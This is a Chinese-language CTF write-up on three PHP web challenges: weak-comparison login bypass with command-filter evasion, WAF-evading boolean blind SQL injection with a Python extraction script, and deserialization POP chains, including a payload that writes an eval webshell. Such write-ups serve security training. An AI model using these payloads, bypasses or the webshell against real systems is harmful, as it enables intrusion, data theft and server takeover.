☰
CTF Web实战:PHP弱类型、SQL注入WAF绕过与反序列化POP链详解
2026/10/19 8:33:07 网站建设 项目流程

2021年那阵子线上实战赛特别多,我趁着休息时间挑了几个Web方向的题去打,做完以后最大的感受是:很多题目考点并不新奇,甚至可以说是老面孔,但“老面孔”不代表好拿分。真正卡人的地方在于两个——一是限制条件变多了,比如WAF规则、PHP版本差异、序列化过滤;二是入口变隐蔽了,需要先做源码审计或者信息收集才能碰到真正的洞。

这篇主要整理我当时遇到的几种Web题型:PHP弱类型比较加命令执行、SQL注入配合WAF绕过、以及反序列化POP链构造。为了方便阅读,我把赛题名和具体平台隐去,只留下技术过程和思路。每一题我都会写清楚判断依据、绕过细节、可复现的脚本片段,以及实际踩过的坑。适合正在刷CTF题、准备网络安全竞赛,或者做Web渗透测试但想补一补“绕过”思路的同学参考。

1. 开题前先分清主次,聊聊这批Web题的整体气质

Web方向在实战赛里一般是最先被“消耗”的一个方向,因为它不像逆向和Pwn那样需要长时间逆向分析,很多题目一旦定位到漏洞点,剩下的步骤就是机械地构造请求和跑脚本。但恰恰因为上手快,选手之间的差距反而不容易拉开,拼的就是谁更能沉住气做源码审计,谁对PHP、MySQL的各种边角特性更熟。

这批Web题给我的第一印象是:入口点不算多,但每个入口都铺了几层“过滤”。比如登录框可能不是让你爆破的,而是让你审计出它的比较逻辑;SQL注入点明明存在,但常规的union select直接被WAF掐死;反序列化一眼就知道要构造对象,但正则把标准的O:格式过滤了。这种情况下,工具的自动化程度越高,反而越容易被卡住,因为工具默认走的都是最常见的路径。

做题顺序上我一般会先扫目录、看源码、抓登录和查询请求,把每个入口可能存在的漏洞点先列出来,再按难度从低到高逐个击破。这套打法在这批题上确实省了不少时间:通常源码审计题最快拿分,注入题中等,反序列化题最费时间。如果你也是第一次接触实战赛,建议按照“先审计、再注入、后反序列化”的顺序分配时间,避免在一道题上耗死。

另外还要说一句:这类赛题的环境往往是一次性的,容器重启以后数据就重置了,所以操作要尽量干净利落。像SQL注入这种需要跑大量请求的题,脚本里务必加上超时和重试逻辑,不然环境一抖动,数据就会断在半路,白跑半天。

2. 一道典型的PHP弱比较题:从登录绕过到命令执行

先说第一题。这道题表面上是一个登录页面,但点进去以后发现源码泄露在备份文件里,直接就能看到整套逻辑。很多第一次打CTF的同学会下意识地对这种登录框跑字典,其实没有必要——只要拿到源码,漏洞位置基本就清楚了。

2.1 源码里的两个关键判断

源码结构大致是这样的:

if ($_POST['user'] !== 'admin') { die('no'); } $secret = get_admin_password(); if (md5($_POST['pass']) == md5($secret)) { $_SESSION['is_admin'] = true; header('Location: admin.php'); }

这里最显眼的漏洞是md5($_POST['pass']) == md5($secret)用了弱比较。PHP的==在做字符串比较的时候,如果两个字符串都以0e开头并且后面全是数字,它会将它们都当作科学计数法表示的0,从而判定相等。不过这里是拿用户输入的md5值和服务器端$secret的md5值做比较,我们需要找到一个字符串,它的md5值恰好是0e开头并全数字,也就是常见的“魔法哈希”。

网上公开的0e开头字符串很多,比如s878926199a、s155964671a这一类。但如果只是想拿这个题的分,还有个更省事的办法:直接把pass参数提交成数组。PHP里md5(array)在7.4及以下版本会返回NULL,同时报一个警告,但代码不会停;两边都是NULL,NULL == NULL就成立了。所以直接抓包改成:

POST /login.php HTTP/1.1 user=admin&pass[]=1

实测一下,直接就登录成功了。这就是弱比较加数组绕过最典型的组合。如果你在本地复现发现不生效,先检查一下PHP版本是不是8.0以上,因为PHP 8里md5(array)会直接抛TypeError,不会再返回NULL。

2.2 登录之后才是真正的主菜

登录进去以后是一个文件管理页面,功能很简单,可以查看日志。我抓包发现log.php后面跟了个cmd参数,服务端代码大概长这样:

$cmd = $_GET['cmd']; $cmd = str_replace(array('cat', 'flag', ' ', '/'), '', $cmd); system($cmd);

它把cat、flag、空格、斜杠都过滤了,而且是单向过滤一次。这种过滤看起来像开玩笑,但很多人就是在这里被卡住,因为无论如何,写出来的命令里总会带着空格或者flag字样。其实常见思路有两种:

一是用${IFS}代替空格。Bash里IFS是内部字段分隔符,默认包含空格,所以cat${IFS}/flag能直接展开成cat /flag。二是用通配符和命令拼接绕关键字过滤。比如flag被过滤,那就写成fla*;cat被过滤,就换tac,或者利用过滤只执行一次的特性,输入cacat,过滤后变成cat。

最终我用的payload是:

tac${IFS}fla*

因为tac是反着输出文件内容,读flag文件一样没问题。$9在部分题目里也能用,比如cat$9$IFS$9flag,$9在shell里是空变量,主要用来把命令和参数隔开。这题最后的flag是通过tac${IFS}fla*拿到的,整个过程不涉及爆破,也没有复杂工具,核心就是对PHP弱类型和Bash特性的理解。

2.3 这题值得记下来的细节

这题有几个点,我觉得比题目本身更重要。第一,看到登录页面不要急着爆破,先花两分钟看源码、看备份文件、看注释,往往能直接看到数据库配置、隐藏接口和过滤逻辑。第二,md5、sha1这类函数在数组参数下返回NULL,本质上是PHP历史版本的类型处理缺陷,但在2021年的赛题里仍然能用。第三,命令执行题里,空格过滤优先试${IFS},如果连IFS都过滤了,再考虑十六进制编码或者$IFS$9这种写法。

这题对我最大的启发是:不要把每一层过滤看成独立的坑,它们组合在一起的时候,绕法往往是交叉的。比如很多人在第一步登录绕不过去,就完全没想到后面还有命令执行;其实源码审计题通常不止一个漏洞,拿到源码后建议把每个入口都过一遍,形成完整的利用链。

3. 注入题的新常态:WAF过滤与手工盲注脚本

第二题是SQL注入,但拿到题以后我只高兴了三秒钟——注入点确实存在,而且是个很经典的字符型注入,不过随便试了下' and 1=1就直接被拦了。

3.1 判断过滤规则

我先用最简单的报错方式试探,?id=1'返回了数据库语法错误,说明参数确实拼接进了SQL语句。但接着构造?id=1' and 1=1#,页面直接跳到了一个警告页。用Burp对比响应后确定这是一层WAF,不是应用层过滤。

接下来就是掰着手指头试哪些字符被过滤。我这里的实际情况是:

关键字/符号是否被过滤绕过方式
and是&&、内联注释/*!50000and*/
or是`
select是双写seselectlect、内联注释
=是like、in、<>
空格是/**/、%09、%0a
information_schema是换用mysql.innodb_table_stats或者sys库

WAF的过滤一般不会把所有写法都堵死,因为它本质上是根据规则匹配文本,只要每一条规则单独都能绕过,组合起来的payload也就能跑通。比如等号被过滤以后,判断字符就不用ascii(substr(...)) = 100,而是用ascii(mid(...)) > 99这种比较,因为大于号被放行了。

3.2 手工盲注脚本怎么写

确认是布尔盲注以后,我先把sqlmap跑了一遍,加了--tamper=between,space2comment这类绕过脚本,结果跑了一会儿就被WAF以“请求频率过高”给封了。这就是sqlmap在实际比赛里的尴尬之处:它功能是强大,但在限速加过滤的双重夹击下,不如自己写脚本可控。

我的脚本思路很简单:每次构造一个条件,如果页面返回“正常”就认为条件为真,否则为假。比如要猜数据库名第一个字符,就可以先判断ascii(mid(database(),1,1))是否大于某个值,然后二分逼近,直到确认具体字符。

下面是我本地测试时用的精简版本,注释里写了主要逻辑:

import requests base_url = "http://target/query.php" def oracle(expr): # 用 and if 构造布尔条件,注入点在 id 参数后 payload = f"1' and if({expr},1,0)#" # 空格换成注释,避免被 WAF 拦 payload = payload.replace(" ", "/**/") r = requests.get(base_url, params={"id": payload}, timeout=5) return "正常页面特征" in r.text def get_char(expr, pos): left, right = 32, 126 while left < right: mid = (left + right) // 2 # 如果字符 ascii 值大于 mid,说明目标在右半区 if oracle(f"ascii(mid({expr},{pos},1))>{mid}"): left = mid + 1 else: right = mid return chr(left) # 逐个字符读取数据库名 for i in range(1, 30): ch = get_char("database()", i) print(ch, end="", flush=True) if ch == "\x00": break

如果你的目标环境里连>也被过滤了,可以把条件改成between {mid+1} and 126,原理是一样的。遇到and被过滤的情况,改成&&,同时注意在URL里&要写成%26%26,不然会被当成参数分隔符,那才是真正的坑。

3.3 拿表名和字段名时的特殊处理

布尔盲注最费时间的环节是拿表名和字段名,因为常规思路是查information_schema.tables和information_schema.columns。但这道题的WAF直接把information_schema这几个字给过滤了,而且双写不一定能绕过,因为它在过滤前可能先做了去重合并。

我的做法是换库。MySQL在5.7以上版本里有sys库,很多视图里直接包含表名和字段信息,比如:

sys.schema_auto_increment_columns sys.x$schema_table_statistics_with_buffer sys.x$schema_tables

这些表经常被忽略,但结构简单、查询方便,能绕过大多数针对information_schema的过滤。如果你打的库是MySQL 5.6及以下,没有sys库,那就试试mysql.innodb_table_stats,里面也有database_name和table_name。

拿到数据库名和表名以后,剩下的就是重复盲注脚本,把字段名和字段内容一个个拖出来。这个过程没什么技巧,纯属体力活,所以我一般会把二分法写好,确认每个字符只需最多7次请求,比线性逐个字符猜要省一大半时间。

3.4 这题容易忽略的点

这题的坑在于,直接对id参数做注入虽然存在,但所有请求都会被记录到WAF日志,一旦短时间内请求次数过多,IP会被临时封掉。所以脚本里一定要设置合理的延时,比如每次请求之间sleep(0.3),不要追求极致速度。另外注意,有些赛题会把真实注入点放在HTTP头里,比如X-Forwarded-For、User-Agent,参数位置的注入可能只是个诱饵。拿到题先看后端代码,如果没有源码,就要用更多时间去测试不同的注入载体。

4. 反序列化题:POP链与过滤绕过的组合场

第三题是我花时间最多的一道,也是我认为这类题目里比较有代表性的一类:入口是cookie里的一段base64字符串,后端直接unserialize(),但反序列化之前又有一层正则过滤,导致常规payload全部失灵。

4.1 从入口定位到反序列化

先看代码逻辑。大概是这样的:

class Logger { public $filename; public $data; public function __destruct() { file_put_contents($this->filename, $this->data); } } $cookie = $_COOKIE['user']; if (isset($cookie)) { $data = base64_decode($cookie); $data = str_replace('O:', 'o:', $data); // 弱过滤示例 unserialize($data); }

这里有个很典型的Logger类,析构函数会把data内容写入filename指定的文件。只要我们能控制反序列化对象,就可以用它写一个PHP文件,然后连上WebShell拿到flag。目标明确,难点在于str_replace这种过滤并不算严格的“安全防护”,但如果你不了解它,连最基本的序列化字符串都会写错。

正常生成一个Logger对象的序列化字符串是这样:

O:6:"Logger":2:{s:8:"filename";s:15:"shell_xxxx.php";s:4:"data";s:27:"<?php @eval($_POST[1]);?>";}

把这个字符串base64编码后放进cookie,脚本执行到unserialize()时就会构造Logger对象,脚本结束或变量被销毁时自动调用__destruct(),把一句话木马写入服务器,然后通过WebShell管理器连上去,flag自然就在手边了。整个过程不是靠猜,而是靠源码审计确定的,所以在动手构造payload之前,建议先把所有代码里出现的类都列出来,看它们的魔术方法分别能干什么。

4.2 过滤正则怎么绕

上面代码里的str_replace('O:', 'o:', ...)只是示意,真实赛题里更常见的过滤是:

if (preg_match('/O:\d+/i', $_COOKIE['user'])) { die('no'); }

这个正则一看就是针对标准序列化格式来的。PHP序列化对象的标准格式是O:6:"Logger":2:{...},系统提示O:后面跟的类名长度是数字。当我们把O:后面写成+6,也就是O:+6:"Logger"时,PHP反序列化依然能正常解析,但正则O:\d+匹配不到,因为O:后面紧跟着的是+而不是数字。

于是payload改成了:

O:+6:"Logger":2:{s:8:"filename";s:15:"shell_xxxx.php";s:4:"data";s:27:"<?php @eval($_POST[1]);?>";}

然后base64编码,放进cookie。这里有个特别容易踩坑的细节:base64编码后的字符串里如果包含+,放在Cookie里没问题,但如果通过GET参数传递,+会被解码成空格,导致后端解析出来的base64字符串完全是坏的。所以如果题目要你把payload放在URL参数里,记得先urlencode,或者在编码后把+替换成%2B。

4.3 从单对象到对象链

实际赛题往往不止一个类,单靠Logger不一定能够直接拿到Shell。常见的情况是:一个类在析构时会调用另一个类的方法,另一个类又通过魔术方法触发命令执行。这种结构就是POP链,和栈溢出里的ROP链是一个思路。

举个例子:

class A { public $obj; public function __destruct() { echo $this->obj; } } class B { public $cmd; public function __toString() { system($this->cmd); return ""; } }

当A对象被析构时,echo $this->obj会触发__toString()。如果obj属性被我们设置为一个B对象,那么就会调用B::__toString(),进而执行system($cmd)。构造的序列化字符串就是嵌套对象:

O:+1:"A":1:{s:3:"obj";O:+1:"B":1:{s:3:"cmd";s:6:"whoami";}}

实际赛题里,链可能长得多,中间要经过数组、成员属性赋值、方法调用等多个环节。构造这类链时,我建议先在本地搭一个和远程PHP版本一致的环境,把源码丢进去跑一遍,确认__destruct()、__wakeup()、__toString()这些魔术方法之间的调用顺序,再考虑绕过过滤。

4.4 反序列化题三个高频坑

第一个坑是__wakeup绕过。PHP反序列化时如果对象属性数量和实际传入的属性数量不一致,__wakeup()可能被跳过,这在老版本里是一个经典的绕过手段。但PHP 7.4以后这个漏洞已经被修复,如果你在本地开着PHP 8.0去复现老题目,这条路是走不通的,需要换思路。

第二个坑是访问修饰符。序列化字符串里,public、protected、private属性的表示方式不一样,protected属性名前后会有\0*\0,private属性名前后会有\0类名\0。很多人手动写payload的时候不小心把可见性写错,反序列化出来的对象属性就是空的。

第三个坑是环境差异。远程是PHP 7.3,本地是PHP 8.1的情况下,同一个反序列化payload可能一个能触发一个直接报错。尤其是自定义类没有__wakeup还好,一旦有__wakeup涉及类型判断,版本差异会立刻暴露。所以做题之前先想办法看版本信息,比如报错页、响应头、默认文件名,或者直接在本地用Docker起一个对应版本的镜像来跑。

5. 工具搭配与排查记录

一场实战赛的Web题打下来,光靠单一工具肯定不够。我习惯的做法是:Burp Suite负责抓包和手动改包,Python脚本负责批量盲注和特殊payload生成,sqlmap在WAF不严的时候用来快速验证注入点类型,但真正拿数据还是靠手写脚本。

5.1 我常用的工具组合

场景常用工具说明
抓包改包Burp Suite看响应差异、重放请求、改Cookie参数
快速验证注入sqlmap加--tamper试探,但只用来确认,不用来拖数据
目录扫描各类目录扫描工具找备份文件、隐藏路径
盲注/序列化payloadPython脚本二分法字符猜测、批量生成payload
本地复现Docker镜像安装对应PHP/MySQL版本,快速跑源码

很多人会觉得有Burp和sqlmap就够了,但实战赛里,手工脚本才是真正能拉开效率的东西。比如盲注题,sqlmap一旦被WAF限速,速度会慢到让人怀疑人生;而自己写的二分脚本可以在控制频率的前提下稳定跑完。又比如反序列化题,payload生成器写出来以后,中途调整任何参数都只是改一行代码的事。

5.2 三个典型的排查过程

第一个案例是:本地payload跑得好好的,远程就是不回显。查了半天发现是PHP版本差异。本地用的是PHP 8.0,远程是PHP 7.3,两个版本对数组参数的处理完全不一样,md5(array)在8.0直接报错,导致登录绕过失败。解决办法是起一个和远程一致的Docker容器,把源码丢进去重新验证。

第二个案例是:盲注脚本跑了一半突然全是“正常”,数据明显错了。查了日志发现是WAF封了IP几分钟,所有后续请求都返回了同一个静态页面,而脚本恰好判断这个静态页面为“真”。解决办法是在脚本里加一个请求频控,每两次请求之间睡0.3秒以上,同时增加重试机制:如果连续三次请求返回内容完全一致,就暂停脚本并检查是不是被封了。

第三个案例是:反序列化payload长度和格式都对,但最终没有写入文件。排查后发现是PHP对类属性个数敏感,原始payload里声明了两个属性,但其中一个属性因为可见性写错,反序列化后没有被正确赋值,导致写入的文件名是NULL。解决办法很简单,把所有属性都改成public,避开可见性特殊字符的问题。

5.3 故障速查表

现象可能原因快速处理
本地成功远程失败PHP版本不一致查版本,起对应Docker环境
盲注数据错乱WAF封IP或限速加延时和重试,检查响应特征
payload无法执行类名、属性名、可见性写错先本地echo序列化结果再手工比对
cookie解析失败编码后+号被当成空格URL编码后再提交
sqlmap被拦截WAF对请求频率敏感手写脚本,减少请求量
找不到表名information_schema被过滤换sys库或mysql.innodb_table_stats
命令执行无回显system被过滤换passthru、shell_exec、反引号

这张表是我每次打完一场Web实战赛都会顺手更新的,很多问题在不同题目里反复出现,排查思路其实是通用的。

6. 最后多说两句

这几道题本身都不算难,真正有价值的是把“绕过”的思维练出来。我见过很多同学一看到WAF就懵,觉得所有路径都被堵死了;也见过有人拿到源码以后只盯着一个点看,完全没发现其他可以利用的入口。其实CTF Web题和真实渗透测试有一个共通的地方:入口多、限制多,但很少有真正无解的配置。大多数防护都只是过滤了某个常见写法,只要对语言底层特性和协议细节有足够了解,总能找到绕过去的路。

我个人的体会是,看题解和自己动手打完全是两码事。看完一篇writeup,觉得自己什么都懂了,但关掉页面,再过几天让你从头打一遍,往往会卡在某个细节上。最好的验证方式就是:每看一个题,都把payload复制下来,在本地环境里重新打一遍,理解每一步为什么这么构造。尤其是PHP反序列化和WAF绕过这类题目,本地复现成功一次,比看十篇文档都管用。

最后再分享一个小技巧:如果一道题你卡了超过四十分钟,大概率不是思路问题,而是某个细节被忽略了——可能是PHP版本,可能是过滤规则,可能是编码方式。这时候不要继续死磕,把请求从Burp里拿出来,重新看一遍原始响应,或者用二分法逐个排查过滤条件,往往能很快发现真相。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询